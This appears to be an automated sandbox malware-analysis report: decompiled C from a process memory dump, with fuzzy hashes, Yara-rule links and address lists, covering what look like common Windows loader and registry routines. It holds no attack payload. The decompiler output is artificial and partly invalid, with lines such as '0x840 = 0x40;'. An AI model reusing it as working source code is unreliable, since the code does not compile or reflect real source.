Associated: 00000008.00000002.939284081.0000000004C0B000.00000040.00000001.sdmp Download File
Associated: 00000008.00000002.939331902.0000000004C0F000.00000040.00000001.sdmp Download File

Similarity

API ID:
String ID:
API String ID:
Opcode ID: bc48b98ab597591d7f2256930c78a977ee8d1d1750ab837fd6aa0301d8b3b36d
Instruction ID: b6ebbb2cc68269453e8006f020434d6b6641aa1fe4a85005876be7c8c9af3286
Opcode Fuzzy Hash: bc48b98ab597591d7f2256930c78a977ee8d1d1750ab837fd6aa0301d8b3b36d
Instruction Fuzzy Hash: 86C112755087809FD354CF28C580A5AFBE1FF88308F1489AEF9998B352D771E945CB52

Uniqueness

Uniqueness Score: -1.00%

Function 04B403E2, Relevance: .3, Instructions: 254
COMMON

Download Yara Rule

C-Code - Quality: 74%

			E04B403E2(signed int __ecx, signed int __edx) {
				signed int _v8;
				signed int _v12;
				signed int _v16;
				signed int _v20;
				signed int _v24;
				signed int _v28;
				signed int _v32;
				signed int _v36;
				intOrPtr _v40;
				signed int _v44;
				signed int _v48;
				char _v52;
				char _v56;
				char _v64;
				void* __ebx;
				void* __edi;
				void* __esi;
				signed int _t56;
				signed int _t58;
				char* _t64;
				intOrPtr _t65;
				signed int _t74;
				signed int _t79;
				char* _t83;
				intOrPtr _t84;
				signed int _t93;
				signed int _t94;
				signed char* _t95;
				signed int _t99;
				signed int _t100;
				signed char* _t101;
				signed int _t105;
				signed int _t119;
				signed int _t120;
				void* _t122;
				signed int _t123;
				signed int _t127;

				_v8 =  *0x4c0d360 ^ _t127;
				_t119 = __ecx;
				_t105 = __edx;
				_t118 = 0;
				_v20 = __edx;
				_t120 =  *(__ecx + 0x20);
				if(E04B40548(__ecx, 0) != 0) {
					_t56 = 0xc000022d;
					L23:
					return E04B5B640(_t56, _t105, _v8 ^ _t127, _t118, _t119, _t120);
				} else {
					_v12 = _v12 | 0xffffffff;
					_t58 = _t120 + 0x24;
					_t109 =  *(_t120 + 0x18);
					_t118 = _t58;
					_v16 = _t58;
					E04B2B02A( *(_t120 + 0x18), _t118, 0x14a5);
					_v52 = 0x18;
					_v48 = 0;
					0x840 = 0x40;
					if( *0x4c07c1c != 0) {
					}
					_v40 = 0x840;
					_v44 = _t105;
					_v36 = 0;
					_v32 = 0;
					if(E04B37D50() != 0) {
						_t64 =  *((intOrPtr*)( *[fs:0x30] + 0x50)) + 0x22a;
					} else {
						_t64 = 0x7ffe0384;
					}
					if( *_t64 != 0) {
						_t65 =  *[fs:0x30];
						__eflags =  *(_t65 + 0x240) & 0x00000004;
						if(( *(_t65 + 0x240) & 0x00000004) != 0) {
							_t100 = E04B37D50();
							__eflags = _t100;
							if(_t100 == 0) {
								_t101 = 0x7ffe0385;
							} else {
								_t101 =  *((intOrPtr*)( *[fs:0x30] + 0x50)) + 0x22b;
							}
							__eflags =  *_t101 & 0x00000020;
							if(( *_t101 & 0x00000020) != 0) {
								_t118 = _t118 | 0xffffffff;
								_t109 = 0x1485;
								E04B97016(0x1485, _t118, 0xffffffff, 0xffffffff, 0, 0);
							}
						}
					}
					_t105 = 0;
					while(1) {
						_push(0x60);
						_push(5);
						_push( &_v64);
						_push( &_v52);
						_push(0x100021);
						_push( &_v12);
						_t122 = E04B59830();
						if(_t122 >= 0) {
							break;
						}
						__eflags = _t122 - 0xc0000034;
						if(_t122 == 0xc0000034) {
							L38:
							_t120 = 0xc0000135;
							break;
						}
						__eflags = _t122 - 0xc000003a;
						if(_t122 == 0xc000003a) {
							goto L38;
						}
						__eflags = _t122 - 0xc0000022;
						if(_t122 != 0xc0000022) {
							break;
						}
						__eflags = _t105;
						if(__eflags != 0) {
							break;
						}
						_t109 = _t119;
						_t99 = E04B969A6(_t119, __eflags);
						__eflags = _t99;
						if(_t99 == 0) {
							break;
						}
						_t105 = _t105 + 1;
					}
					if( !_t120 >= 0) {
						L22:
						_t56 = _t120;
						goto L23;
					}
					if( *0x4c07c04 != 0) {
						_t118 = _v12;
						_t120 = E04B9A7AC(_t119, _t118, _t109);
						__eflags = _t120;
						if(_t120 >= 0) {
							goto L10;
						}
						__eflags =  *0x4c07bd8;
						if( *0x4c07bd8 != 0) {
							L20:
							if(_v12 != 0xffffffff) {
								_push(_v12);
								E04B595D0();
							}
							goto L22;
						}
					}
					L10:
					_push(_v12);
					_t105 = _t119 + 0xc;
					_push(0x1000000);
					_push(0x10);
					_push(0);
					_push(0);
					_push(0xf);
					_push(_t105);
					_t120 = E04B599A0();
					if(_t120 < 0) {
						__eflags = _t120 - 0xc000047e;
						if(_t120 == 0xc000047e) {
							L51:
							_t74 = E04B93540(_t120);
							_t119 = _v16;
							_t120 = _t74;
							L52:
							_t118 = 0x1485;
							E04B1B1E1(_t120, 0x1485, 0, _t119);
							goto L20;
						}
						__eflags = _t120 - 0xc000047f;
						if(_t120 == 0xc000047f) {
							goto L51;
						}
						__eflags = _t120 - 0xc0000462;
						if(_t120 == 0xc0000462) {
							goto L51;
						}
						_t119 = _v16;
						__eflags = _t120 - 0xc0000017;
						if(_t120 != 0xc0000017) {
							__eflags = _t120 - 0xc000009a;
							if(_t120 != 0xc000009a) {
								__eflags = _t120 - 0xc000012d;
								if(_t120 != 0xc000012d) {
									_v28 = _t119;
									_push( &_v56);
									_push(1);
									_v24 = _t120;
									_push( &_v28);
									_push(1);
									_push(2);
									_push(0xc000007b);
									_t79 = E04B5AAF0();
									__eflags = _t79;
									if(_t79 >= 0) {
										__eflags =  *0x4c08474 - 3;
										if( *0x4c08474 != 3) {
											 *0x4c079dc =  *0x4c079dc + 1;
										}
									}
								}
							}
						}
						goto L52;
					}
					if(E04B37D50() != 0) {
						_t83 =  *((intOrPtr*)( *[fs:0x30] + 0x50)) + 0x22a;
					} else {
						_t83 = 0x7ffe0384;
					}
					if( *_t83 != 0) {
						_t84 =  *[fs:0x30];
						__eflags =  *(_t84 + 0x240) & 0x00000004;
						if(( *(_t84 + 0x240) & 0x00000004) != 0) {
							_t94 = E04B37D50();
							__eflags = _t94;
							if(_t94 == 0) {
								_t95 = 0x7ffe0385;
							} else {
								_t95 =  *((intOrPtr*)( *[fs:0x30] + 0x50)) + 0x22b;
							}
							__eflags =  *_t95 & 0x00000020;
							if(( *_t95 & 0x00000020) != 0) {
								E04B97016(0x1486, _t118, 0xffffffff, 0xffffffff, 0, 0);
							}
						}
					}
					if(( *(_t119 + 0x10) & 0x00000100) == 0) {
						if( *0x4c08708 != 0) {
							_t118 =  *0x7ffe0330;
							_t123 =  *0x4c07b00; // 0x0
							asm("ror esi, cl");
							 *0x4c0b1e0(_v12, _v20, 0x20);
							_t93 =  *(_t123 ^  *0x7ffe0330)();
							_t50 = _t93 + 0x3ffffddb; // 0x3ffffddb
							asm("sbb esi, esi");
							_t120 =  ~_t50 & _t93;
						} else {
							_t120 = 0;
						}
					}
					if( !_t120 >= 0) {
						L19:
						_push( *_t105);
						E04B595D0();
						 *_t105 =  *_t105 & 0x00000000;
						goto L20;
					}
					_t120 = E04B27F65(_t119);
					if( *((intOrPtr*)(_t119 + 0x60)) != 0) {
						__eflags = _t120;
						if(_t120 < 0) {
							goto L19;
						}
						 *(_t119 + 0x64) = _v12;
						goto L22;
					}
					goto L19;
				}
			}

0x04b403f1
0x04b403f7
0x04b403f9
0x04b403fb
0x04b403fd
0x04b40400
0x04b4040a
0x04b84c7a
0x04b40537
0x04b40547
0x04b40410
0x04b40410
0x04b40414
0x04b40417
0x04b4041a
0x04b40421
0x04b40424
0x04b4042b
0x04b4043b
0x04b4043e
0x04b4043f
0x04b4043f
0x04b40446
0x04b40449
0x04b4044c
0x04b4044f
0x04b40459
0x04b84c8d
0x04b4045f
0x04b4045f
0x04b4045f
0x04b40467
0x04b84c97
0x04b84c9d
0x04b84ca4
0x04b84caa
0x04b84caf
0x04b84cb1
0x04b84cc3
0x04b84cb3
0x04b84cbc
0x04b84cbc
0x04b84cc8
0x04b84ccb
0x04b84cd7
0x04b84cda
0x04b84cdf
0x04b84cdf
0x04b84ccb
0x04b84ca4
0x04b4046d
0x04b4046f
0x04b4046f
0x04b40471
0x04b40476
0x04b4047a
0x04b4047b
0x04b40483
0x04b40489
0x04b4048d
0x00000000
0x00000000
0x04b84ce9
0x04b84cef
0x04b84d22
0x04b84d22
0x00000000
0x04b84d22
0x04b84cf1
0x04b84cf7
0x00000000
0x00000000
0x04b84cf9
0x04b84cff
0x00000000
0x00000000
0x04b84d05
0x04b84d07
0x00000000
0x00000000
0x04b84d0d
0x04b84d0f
0x04b84d14
0x04b84d16
0x00000000
0x00000000
0x04b84d1c
0x04b84d1c
0x04b40499
0x04b40535
0x04b40535
0x00000000
0x04b40535
0x04b404a6
0x04b84d2c
0x04b84d37
0x04b84d39
0x04b84d3b
0x00000000
0x00000000
0x04b84d41
0x04b84d48
0x04b40527
0x04b4052b
0x04b4052d
0x04b40530
0x04b40530
0x00000000
0x04b4052b
0x04b84d4e
0x04b404ac
0x04b404ac
0x04b404af
0x04b404b2
0x04b404b7
0x04b404b9
0x04b404bb
0x04b404bd
0x04b404bf
0x04b404c5
0x04b404c9
0x04b84d53
0x04b84d59
0x04b84db9
0x04b84dba
0x04b84dbf
0x04b84dc2
0x04b84dc4
0x04b84dc7
0x04b84dce
0x00000000
0x04b84dce
0x04b84d5b
0x04b84d61
0x00000000
0x00000000
0x04b84d63
0x04b84d69
0x00000000
0x00000000
0x04b84d6b
0x04b84d6e
0x04b84d74
0x04b84d76
0x04b84d7c
0x04b84d7e
0x04b84d84
0x04b84d89
0x04b84d8c
0x04b84d8d
0x04b84d92
0x04b84d95
0x04b84d96
0x04b84d98
0x04b84d9a
0x04b84d9f
0x04b84da4
0x04b84da6
0x04b84da8
0x04b84daf
0x04b84db1
0x04b84db1
0x04b84daf
0x04b84da6
0x04b84d84
0x04b84d7c
0x00000000
0x04b84d74
0x04b404d6
0x04b84de1
0x04b404dc
0x04b404dc
0x04b404dc
0x04b404e4
0x04b84deb
0x04b84df1
0x04b84df8
0x04b84dfe
0x04b84e03
0x04b84e05
0x04b84e17
0x04b84e07
0x04b84e10
0x04b84e10
0x04b84e1c
0x04b84e1f
0x04b84e35
0x04b84e35
0x04b84e1f
0x04b84df8
0x04b404f1
0x04b404fa
0x04b84e3f
0x04b84e47
0x04b84e5b
0x04b84e61
0x04b84e67
0x04b84e69
0x04b84e71
0x04b84e73
0x04b40500
0x04b40500
0x04b40500
0x04b404fa
0x04b40508
0x04b4051d
0x04b4051d
0x04b4051f
0x04b40524
0x00000000
0x04b40524
0x04b40515
0x04b40517
0x04b84e7a
0x04b84e7c
0x00000000
0x00000000
0x04b84e85
0x00000000
0x04b84e85
0x00000000
0x04b40517

Memory Dump Source

Source File: 00000008.00000002.938444941.0000000004AF0000.00000040.00000001.sdmp, Offset: 04AF0000, based on PE: true

Associated: 00000008.00000002.939284081.0000000004C0B000.00000040.00000001.sdmp Download File
Associated: 00000008.00000002.939331902.0000000004C0F000.00000040.00000001.sdmp Download File

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 405eb3ad24f9a4ec094b099c9a14b2af431c1cb273a76a60c62c26ddd6f38918
Instruction ID: cc9ce395324b24c4bd66f9fdbdec3e4945a8ec8fbf284b61a4b4b229cab346ac
Opcode Fuzzy Hash: 405eb3ad24f9a4ec094b099c9a14b2af431c1cb273a76a60c62c26ddd6f38918
Instruction Fuzzy Hash: 8C910831E00255AFEF21BB6CD844BAE7BB4EB45724F0502E5EA10AB2D1EB74BD40D791

Uniqueness

Uniqueness Score: -1.00%

Function 04B1C600, Relevance: .2, Instructions: 225
COMMON

Download Yara Rule

C-Code - Quality: 67%

			E04B1C600(intOrPtr _a4, intOrPtr _a8, signed int _a12, signed char _a16, intOrPtr _a20, signed int _a24) {
				signed int _v8;
				char _v1036;
				signed int _v1040;
				char _v1048;
				signed int _v1052;
				signed char _v1056;
				void* _v1058;
				char _v1060;
				signed int _v1064;
				void* _v1068;
				intOrPtr _v1072;
				void* _v1084;
				void* __ebx;
				void* __edi;
				void* __esi;
				void* __ebp;
				intOrPtr _t70;
				intOrPtr _t72;
				signed int _t74;
				intOrPtr _t77;
				signed int _t78;
				signed int _t81;
				void* _t101;
				signed int _t102;
				signed int _t107;
				signed int _t109;
				signed int _t110;
				signed char _t111;
				signed int _t112;
				signed int _t113;
				signed int _t114;
				intOrPtr _t116;
				void* _t117;
				char _t118;
				void* _t120;
				char _t121;
				signed int _t122;
				signed int _t123;
				signed int _t125;

				_t125 = (_t123 & 0xfffffff8) - 0x424;
				_v8 =  *0x4c0d360 ^ _t125;
				_t116 = _a4;
				_v1056 = _a16;
				_v1040 = _a24;
				if(E04B26D30( &_v1048, _a8) < 0) {
					L4:
					_pop(_t117);
					_pop(_t120);
					_pop(_t101);
					return E04B5B640(_t68, _t101, _v8 ^ _t125, _t114, _t117, _t120);
				}
				_t70 = _a20;
				if(_t70 >= 0x3f4) {
					_t121 = _t70 + 0xc;
					L19:
					_t107 =  *( *[fs:0x30] + 0x18);
					__eflags = _t107;
					if(_t107 == 0) {
						L60:
						_t68 = 0xc0000017;
						goto L4;
					}
					_t72 =  *0x4c07b9c; // 0x0
					_t74 = L04B34620(_t107, _t107, _t72 + 0x180000, _t121);
					_v1064 = _t74;
					__eflags = _t74;
					if(_t74 == 0) {
						goto L60;
					}
					_t102 = _t74;
					_push( &_v1060);
					_push(_t121);
					_push(_t74);
					_push(2);
					_push( &_v1048);
					_push(_t116);
					_t122 = E04B59650();
					__eflags = _t122;
					if(_t122 >= 0) {
						L7:
						_t114 = _a12;
						__eflags = _t114;
						if(_t114 != 0) {
							_t77 = _a20;
							L26:
							_t109 =  *(_t102 + 4);
							__eflags = _t109 - 3;
							if(_t109 == 3) {
								L55:
								__eflags = _t114 - _t109;
								if(_t114 != _t109) {
									L59:
									_t122 = 0xc0000024;
									L15:
									_t78 = _v1052;
									__eflags = _t78;
									if(_t78 != 0) {
										L04B377F0( *( *[fs:0x30] + 0x18), 0, _t78);
									}
									_t68 = _t122;
									goto L4;
								}
								_t110 = _v1056;
								_t118 =  *((intOrPtr*)(_t102 + 8));
								_v1060 = _t118;
								__eflags = _t110;
								if(_t110 == 0) {
									L10:
									_t122 = 0x80000005;
									L11:
									_t81 = _v1040;
									__eflags = _t81;
									if(_t81 == 0) {
										goto L15;
									}
									__eflags = _t122;
									if(_t122 >= 0) {
										L14:
										 *_t81 = _t118;
										goto L15;
									}
									__eflags = _t122 - 0x80000005;
									if(_t122 != 0x80000005) {
										goto L15;
									}
									goto L14;
								}
								__eflags =  *((intOrPtr*)(_t102 + 8)) - _t77;
								if( *((intOrPtr*)(_t102 + 8)) > _t77) {
									goto L10;
								}
								_push( *((intOrPtr*)(_t102 + 8)));
								_t59 = _t102 + 0xc; // 0xc
								_push(_t110);
								L54:
								E04B5F3E0();
								_t125 = _t125 + 0xc;
								goto L11;
							}
							__eflags = _t109 - 7;
							if(_t109 == 7) {
								goto L55;
							}
							_t118 = 4;
							__eflags = _t109 - _t118;
							if(_t109 != _t118) {
								__eflags = _t109 - 0xb;
								if(_t109 != 0xb) {
									__eflags = _t109 - 1;
									if(_t109 == 1) {
										__eflags = _t114 - _t118;
										if(_t114 != _t118) {
											_t118 =  *((intOrPtr*)(_t102 + 8));
											_v1060 = _t118;
											__eflags = _t118 - _t77;
											if(_t118 > _t77) {
												goto L10;
											}
											_push(_t118);
											_t56 = _t102 + 0xc; // 0xc
											_push(_v1056);
											goto L54;
										}
										__eflags = _t77 - _t118;
										if(_t77 != _t118) {
											L34:
											_t122 = 0xc0000004;
											goto L15;
										}
										_t111 = _v1056;
										__eflags = _t111 & 0x00000003;
										if((_t111 & 0x00000003) == 0) {
											_v1060 = _t118;
											__eflags = _t111;
											if(__eflags == 0) {
												goto L10;
											}
											_t42 = _t102 + 0xc; // 0xc
											 *((intOrPtr*)(_t125 + 0x20)) = _t42;
											_v1048 =  *((intOrPtr*)(_t102 + 8));
											_push(_t111);
											 *((short*)(_t125 + 0x22)) =  *((intOrPtr*)(_t102 + 8));
											_push(0);
											_push( &_v1048);
											_t122 = E04B513C0(_t102, _t118, _t122, __eflags);
											L44:
											_t118 = _v1072;
											goto L11;
										}
										_t122 = 0x80000002;
										goto L15;
									}
									_t122 = 0xc0000024;
									goto L44;
								}
								__eflags = _t114 - _t109;
								if(_t114 != _t109) {
									goto L59;
								}
								_t118 = 8;
								__eflags = _t77 - _t118;
								if(_t77 != _t118) {
									goto L34;
								}
								__eflags =  *((intOrPtr*)(_t102 + 8)) - _t118;
								if( *((intOrPtr*)(_t102 + 8)) != _t118) {
									goto L34;
								}
								_t112 = _v1056;
								_v1060 = _t118;
								__eflags = _t112;
								if(_t112 == 0) {
									goto L10;
								}
								 *_t112 =  *((intOrPtr*)(_t102 + 0xc));
								 *((intOrPtr*)(_t112 + 4)) =  *((intOrPtr*)(_t102 + 0x10));
								goto L11;
							}
							__eflags = _t114 - _t118;
							if(_t114 != _t118) {
								goto L59;
							}
							__eflags = _t77 - _t118;
							if(_t77 != _t118) {
								goto L34;
							}
							__eflags =  *((intOrPtr*)(_t102 + 8)) - _t118;
							if( *((intOrPtr*)(_t102 + 8)) != _t118) {
								goto L34;
							}
							_t113 = _v1056;
							_v1060 = _t118;
							__eflags = _t113;
							if(_t113 == 0) {
								goto L10;
							}
							 *_t113 =  *((intOrPtr*)(_t102 + 0xc));
							goto L11;
						}
						_t118 =  *((intOrPtr*)(_t102 + 8));
						__eflags = _t118 - _a20;
						if(_t118 <= _a20) {
							_t114 =  *(_t102 + 4);
							_t77 = _t118;
							goto L26;
						}
						_v1060 = _t118;
						goto L10;
					}
					__eflags = _t122 - 0x80000005;
					if(_t122 != 0x80000005) {
						goto L15;
					}
					L04B377F0( *( *[fs:0x30] + 0x18), 0, _t102);
					L18:
					_t121 = _v1060;
					goto L19;
				}
				_push( &_v1060);
				_push(0x400);
				_t102 =  &_v1036;
				_push(_t102);
				_push(2);
				_push( &_v1048);
				_push(_t116);
				_t122 = E04B59650();
				if(_t122 >= 0) {
					__eflags = 0;
					_v1052 = 0;
					goto L7;
				}
				if(_t122 == 0x80000005) {
					goto L18;
				}
				goto L4;
			}

0x04b1c608
0x04b1c615
0x04b1c625
0x04b1c62d
0x04b1c635
0x04b1c640
0x04b1c680
0x04b1c687
0x04b1c688
0x04b1c689
0x04b1c694
0x04b1c694
0x04b1c642
0x04b1c64a
0x04b1c697
0x04b87a25
0x04b87a2b
0x04b87a2e
0x04b87a30
0x04b87bea
0x04b87bea
0x00000000
0x04b87bea
0x04b87a36
0x04b87a43
0x04b87a48
0x04b87a4c
0x04b87a4e
0x00000000
0x00000000
0x04b87a58
0x04b87a5a
0x04b87a5b
0x04b87a5c
0x04b87a5d
0x04b87a63
0x04b87a64
0x04b87a6a
0x04b87a6c
0x04b87a6e
0x04b879cb
0x04b879cb
0x04b879ce
0x04b879d0
0x04b87a98
0x04b87a9b
0x04b87a9b
0x04b87a9e
0x04b87aa1
0x04b87bbe
0x04b87bbe
0x04b87bc0
0x04b87be0
0x04b87be0
0x04b87a01
0x04b87a01
0x04b87a05
0x04b87a07
0x04b87a15
0x04b87a15
0x04b87a1a
0x00000000
0x04b87a1a
0x04b87bc2
0x04b87bc6
0x04b87bc9
0x04b87bcd
0x04b87bcf
0x04b879e6
0x04b879e6
0x04b879eb
0x04b879eb
0x04b879ef
0x04b879f1
0x00000000
0x00000000
0x04b879f3
0x04b879f5
0x04b879ff
0x04b879ff
0x00000000
0x04b879ff
0x04b879f7
0x04b879fd
0x00000000
0x00000000
0x00000000
0x04b879fd
0x04b87bd5
0x04b87bd8
0x00000000
0x00000000
0x04b87ba9
0x04b87bac
0x04b87bb0
0x04b87bb1
0x04b87bb1
0x04b87bb6
0x00000000
0x04b87bb6
0x04b87aa7
0x04b87aaa
0x00000000
0x00000000
0x04b87ab2
0x04b87ab3
0x04b87ab5
0x04b87aec
0x04b87aef
0x04b87b25
0x04b87b28
0x04b87b62
0x04b87b64
0x04b87b8f
0x04b87b92
0x04b87b96
0x04b87b98
0x00000000
0x00000000
0x04b87b9e
0x04b87b9f
0x04b87ba3
0x00000000
0x04b87ba3
0x04b87b66
0x04b87b68
0x04b87ae2
0x04b87ae2
0x00000000
0x04b87ae2
0x04b87b6e
0x04b87b72
0x04b87b75
0x04b87b81
0x04b87b85
0x04b87b87
0x00000000
0x00000000
0x04b87b31
0x04b87b34
0x04b87b3c
0x04b87b45
0x04b87b46
0x04b87b4f
0x04b87b51
0x04b87b57
0x04b87b59
0x04b87b59
0x00000000
0x04b87b59
0x04b87b77
0x00000000
0x04b87b77
0x04b87b2a
0x00000000
0x04b87b2a
0x04b87af1
0x04b87af3
0x00000000
0x00000000
0x04b87afb
0x04b87afc
0x04b87afe
0x00000000
0x00000000
0x04b87b00
0x04b87b03
0x00000000
0x00000000
0x04b87b05
0x04b87b09
0x04b87b0d
0x04b87b0f
0x00000000
0x00000000
0x04b87b18
0x04b87b1d
0x00000000
0x04b87b1d
0x04b87ab7
0x04b87ab9
0x00000000
0x00000000
0x04b87abf
0x04b87ac1
0x00000000
0x00000000
0x04b87ac3
0x04b87ac6
0x00000000
0x00000000
0x04b87ac8
0x04b87acc
0x04b87ad0
0x04b87ad2
0x00000000
0x00000000
0x04b87adb
0x00000000
0x04b87adb
0x04b879d6
0x04b879d9
0x04b879dc
0x04b87a91
0x04b87a94
0x00000000
0x04b87a94
0x04b879e2
0x00000000
0x04b879e2
0x04b87a74
0x04b87a7a
0x00000000
0x00000000
0x04b87a8a
0x04b87a21
0x04b87a21
0x00000000
0x04b87a21
0x04b1c650
0x04b1c651
0x04b1c656
0x04b1c65c
0x04b1c65d
0x04b1c663
0x04b1c664
0x04b1c66a
0x04b1c66e
0x04b879c5
0x04b879c7
0x00000000
0x04b879c7
0x04b1c67a
0x00000000
0x00000000
0x00000000

Memory Dump Source

Source File: 00000008.00000002.938444941.0000000004AF0000.00000040.00000001.sdmp, Offset: 04AF0000, based on PE: true

Associated: 00000008.00000002.939284081.0000000004C0B000.00000040.00000001.sdmp Download File
Associated: 00000008.00000002.939331902.0000000004C0F000.00000040.00000001.sdmp Download File

Similarity

API ID: InitializeThunk
String ID:
API String ID: 2994545307-0
Opcode ID: fb6bf40e1645ea008bab97687f1d8ba8861c6505cdba0687f0910375a6ac293a
Instruction ID: d3f85af239c24e737f9a59dfea19bc3baad8b06fdad7f5a7a0c58a1cf9e27987
Opcode Fuzzy Hash: fb6bf40e1645ea008bab97687f1d8ba8861c6505cdba0687f0910375a6ac293a
Instruction Fuzzy Hash: 6981AE76644201DBDB25EF14CC90B2AB3A5EB84358F2448AEED459B240EB30FD41CBA2

Uniqueness

Uniqueness Score: -1.00%

Function 04B96DC9, Relevance: .2, Instructions: 199
COMMON

Download Yara Rule

C-Code - Quality: 79%

			E04B96DC9(signed int __ecx, void* __edx) {
				unsigned int _v8;
				intOrPtr _v12;
				signed int _v16;
				intOrPtr _v20;
				intOrPtr _v24;
				intOrPtr _v28;
				char _v32;
				char _v36;
				char _v40;
				char _v44;
				char _v48;
				char _v52;
				char _v56;
				char _v60;
				void* _t87;
				void* _t95;
				signed char* _t96;
				signed int _t107;
				signed int _t136;
				signed char* _t137;
				void* _t157;
				void* _t161;
				void* _t167;
				intOrPtr _t168;
				void* _t174;
				void* _t175;
				signed int _t176;
				void* _t177;

				_t136 = __ecx;
				_v44 = 0;
				_t167 = __edx;
				_v40 = 0;
				_v36 = 0;
				_v32 = 0;
				_v60 = 0;
				_v56 = 0;
				_v52 = 0;
				_v48 = 0;
				_v16 = __ecx;
				_t87 = L04B34620(__ecx,  *((intOrPtr*)( *[fs:0x30] + 0x18)), 0, 0x248);
				_t175 = _t87;
				if(_t175 != 0) {
					_t11 = _t175 + 0x30; // 0x30
					 *((short*)(_t175 + 6)) = 0x14d4;
					 *((intOrPtr*)(_t175 + 0x20)) =  *((intOrPtr*)(_t167 + 0x10));
					 *((intOrPtr*)(_t175 + 0x24)) =  *((intOrPtr*)( *((intOrPtr*)(_t167 + 8)) + 0xc));
					 *((intOrPtr*)(_t175 + 0x28)) = _t136;
					 *((intOrPtr*)(_t175 + 0x2c)) =  *((intOrPtr*)(_t167 + 0x14));
					E04B96B4C(_t167, _t11, 0x214,  &_v8);
					_v12 = _v8 + 0x10;
					_t95 = E04B37D50();
					_t137 = 0x7ffe0384;
					if(_t95 == 0) {
						_t96 = 0x7ffe0384;
					} else {
						_t96 =  *((intOrPtr*)( *[fs:0x30] + 0x50)) + 0x22a;
					}
					_push(_t175);
					_push(_v12);
					_push(0x402);
					_push( *_t96 & 0x000000ff);
					E04B59AE0();
					_t87 = L04B377F0( *((intOrPtr*)( *[fs:0x30] + 0x18)), 0, _t175);
					_t176 = _v16;
					if((_t176 & 0x00000100) != 0) {
						_push( &_v36);
						_t157 = 4;
						_t87 = E04B9795D( *((intOrPtr*)(_t167 + 8)), _t157);
						if(_t87 >= 0) {
							_v24 = E04B9795D( *((intOrPtr*)(_t167 + 8)), 1,  &_v44);
							_v28 = E04B9795D( *((intOrPtr*)(_t167 + 8)), 0,  &_v60);
							_push( &_v52);
							_t161 = 5;
							_t168 = E04B9795D( *((intOrPtr*)(_t167 + 8)), _t161);
							_v20 = _t168;
							_t107 = L04B34620( *[fs:0x30],  *((intOrPtr*)( *[fs:0x30] + 0x18)), 0, 0xca0);
							_v16 = _t107;
							if(_t107 != 0) {
								_v8 = _v8 & 0x00000000;
								 *(_t107 + 0x20) = _t176;
								 *((short*)(_t107 + 6)) = 0x14d5;
								_t47 = _t107 + 0x24; // 0x24
								_t177 = _t47;
								E04B96B4C( &_v36, _t177, 0xc78,  &_v8);
								_t51 = _v8 + 4; // 0x4
								_t178 = _t177 + (_v8 >> 1) * 2;
								_v12 = _t51;
								E04B96B4C( &_v44, _t177 + (_v8 >> 1) * 2, 0xc78,  &_v8);
								_v12 = _v12 + _v8;
								E04B96B4C( &_v60, _t178 + (_v8 >> 1) * 2, 0xc78,  &_v8);
								_t125 = _v8;
								_v12 = _v12 + _v8;
								E04B96B4C( &_v52, _t178 + (_v8 >> 1) * 2 + (_v8 >> 1) * 2, 0xc78 - _v8 - _v8 - _t125,  &_v8);
								_t174 = _v12 + _v8;
								if(E04B37D50() != 0) {
									_t137 =  *((intOrPtr*)( *[fs:0x30] + 0x50)) + 0x22a;
								}
								_push(_v16);
								_push(_t174);
								_push(0x402);
								_push( *_t137 & 0x000000ff);
								E04B59AE0();
								L04B377F0( *((intOrPtr*)( *[fs:0x30] + 0x18)), 0, _v16);
								_t168 = _v20;
							}
							_t87 = L04B32400( &_v36);
							if(_v24 >= 0) {
								_t87 = L04B32400( &_v44);
							}
							if(_t168 >= 0) {
								_t87 = L04B32400( &_v52);
							}
							if(_v28 >= 0) {
								return L04B32400( &_v60);
							}
						}
					}
				}
				return _t87;
			}

0x04b96dd4
0x04b96dde
0x04b96de1
0x04b96de3
0x04b96de6
0x04b96de9
0x04b96dec
0x04b96def
0x04b96df2
0x04b96df5
0x04b96dfe
0x04b96e04
0x04b96e09
0x04b96e0d
0x04b96e18
0x04b96e1b
0x04b96e22
0x04b96e2d
0x04b96e30
0x04b96e36
0x04b96e42
0x04b96e4d
0x04b96e50
0x04b96e55
0x04b96e5c
0x04b96e6e
0x04b96e5e
0x04b96e67
0x04b96e67
0x04b96e73
0x04b96e74
0x04b96e77
0x04b96e7c
0x04b96e7d
0x04b96e8e
0x04b96e93
0x04b96e9c
0x04b96ea8
0x04b96eab
0x04b96eac
0x04b96eb3
0x04b96ecd
0x04b96edc
0x04b96ee2
0x04b96ee5
0x04b96ef2
0x04b96efb
0x04b96f01
0x04b96f06
0x04b96f0b
0x04b96f11
0x04b96f1a
0x04b96f22
0x04b96f26
0x04b96f26
0x04b96f33
0x04b96f41
0x04b96f44
0x04b96f47
0x04b96f54
0x04b96f65
0x04b96f77
0x04b96f7c
0x04b96f82
0x04b96f91
0x04b96f99
0x04b96fa3
0x04b96fae
0x04b96fae
0x04b96fba
0x04b96fbb
0x04b96fbc
0x04b96fc1
0x04b96fc2
0x04b96fd3
0x04b96fd8
0x04b96fd8
0x04b96fdf
0x04b96fe8
0x04b96fee
0x04b96fee
0x04b96ff5
0x04b96ffb
0x04b96ffb
0x04b97004
0x00000000
0x04b9700a
0x04b97004
0x04b96eb3
0x04b96e9c
0x04b97015

Memory Dump Source

Source File: 00000008.00000002.938444941.0000000004AF0000.00000040.00000001.sdmp, Offset: 04AF0000, based on PE: true

Associated: 00000008.00000002.939284081.0000000004C0B000.00000040.00000001.sdmp Download File
Associated: 00000008.00000002.939331902.0000000004C0F000.00000040.00000001.sdmp Download File

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 14c8b9f4068581bf64678a8c47a68024946722c1230469e973f7e326b4b11c8c
Instruction ID: e8c5e97c2b12602ac1cfcd555dc3dddd87b022330f7202023af8add7a45f0341
Opcode Fuzzy Hash: 14c8b9f4068581bf64678a8c47a68024946722c1230469e973f7e326b4b11c8c
Instruction Fuzzy Hash: 0F715B71A00619EFDF14DFA9C984AAEBBF9FF48714F1044A9E505A7250DB34BE41CB90

Uniqueness

Uniqueness Score: -1.00%

Function 04BAB8D0, Relevance: .2, Instructions: 199
COMMON

Download Yara Rule

C-Code - Quality: 39%

			E04BAB8D0(void* __edx, intOrPtr _a4, intOrPtr _a8, signed char _a12, signed int** _a16) {
				char _v8;
				signed int _v12;
				signed int _t80;
				signed int _t83;
				intOrPtr _t89;
				signed int _t92;
				signed char _t106;
				signed int* _t107;
				intOrPtr _t108;
				intOrPtr _t109;
				signed int _t114;
				void* _t115;
				void* _t117;
				void* _t119;
				void* _t122;
				signed int _t123;
				signed int* _t124;

				_t106 = _a12;
				if((_t106 & 0xfffffffc) != 0) {
					return 0xc000000d;
